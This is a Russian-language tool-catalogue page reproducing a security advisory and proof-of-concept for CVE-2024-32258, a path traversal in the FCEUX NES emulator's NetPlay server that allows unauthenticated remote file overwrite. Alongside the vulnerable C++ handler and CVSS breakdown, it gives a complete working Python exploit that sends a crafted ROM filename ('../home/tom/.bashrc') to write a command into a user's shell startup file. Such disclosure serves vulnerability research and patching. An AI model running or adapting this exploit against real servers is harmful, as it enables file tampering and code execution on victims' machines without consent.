Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/secnotes/cve-2024-32258
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

Эксплойт для проверки концепции CVE-2024-32258, уязвимости обхода пути в FCEUX NetPlay 2.7.0, позволяющей неавторизованную удалённую произвольную перезапись файлов через специально сформированные ROM-запросы.

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обзор

  • Идентификатор CVE: CVE-2024-32258
  • Тип: Обход пути (Path Traversal)
  • Разработчик: FCEUX
  • Продукты: FCEUX_NetPlay
  • Версия: 2.7.0
  • Исправление: 48b48e7c13be1b949074f42660a33c7ef57135e1

Описание

FCEUX — это эмулятор NES, способный вернуть нас в детство. Он предоставляет множество интересных функций, например, возможность двум игрокам играть в игры онлайн.

Сервер и клиент могут передавать друг другу ROM-файлы, но сервер не фильтрует специальные символы в именах ROM-файлов, отправляемых клиентом. Эта уязвимость обхода пути может привести к перезаписи любого файла на сервере. Ещё более серьёзно то, что удалённая загрузка ROM-файлов не требует аутентификации, даже если в настройках сервера требуется пароль для входа.

Уязвимость была введена в коммите 798c5a1d9c73b899cdbe3d613c0022588281979f — Для NetPlay добавлена возможность клиента запрашивать загрузку ROM-файла.

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

И msf->fileName, и fp задаются атакующим.

PoC

Вы можете получить fceux путём компиляции исходного кода или сразу использовать наш скомпилированный бинарный файл. fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

Приятного пользования! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

Серьёзность

Высокая 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Авторы

Яньсон Ли и Ицзе Сюнь (Северо-Западный политехнический университет)

Скачать инструмент
CVSS3.1БаллыДетали
ВЕКТОР АТАКИСетьатака осуществляется через сеть
СЛОЖНОСТЬ АТАКИНизкаядостаточно отправить два сообщения
ТРЕБУЕМЫЕ ПРИВИЛЕГИИНетдля отправки пакета атаки не требуются права
ВЗАИМОДЕЙСТВИЕ С ПОЛЬЗОВАТЕЛЕМТребуетсянажать кнопку подтверждения для загрузки ROM.
ОБЛАСТЬ ПРИМЕНЕНИЯБез измененийне применимо
КОНФИДЕНЦИАЛЬНОСТЬВысокаяпроизвольная перезапись файлов
ЦЕЛОСТНОСТЬВысокаяпроизвольная перезапись файлов
ДОСТУПНОСТЬВысокаяпроизвольная перезапись файлов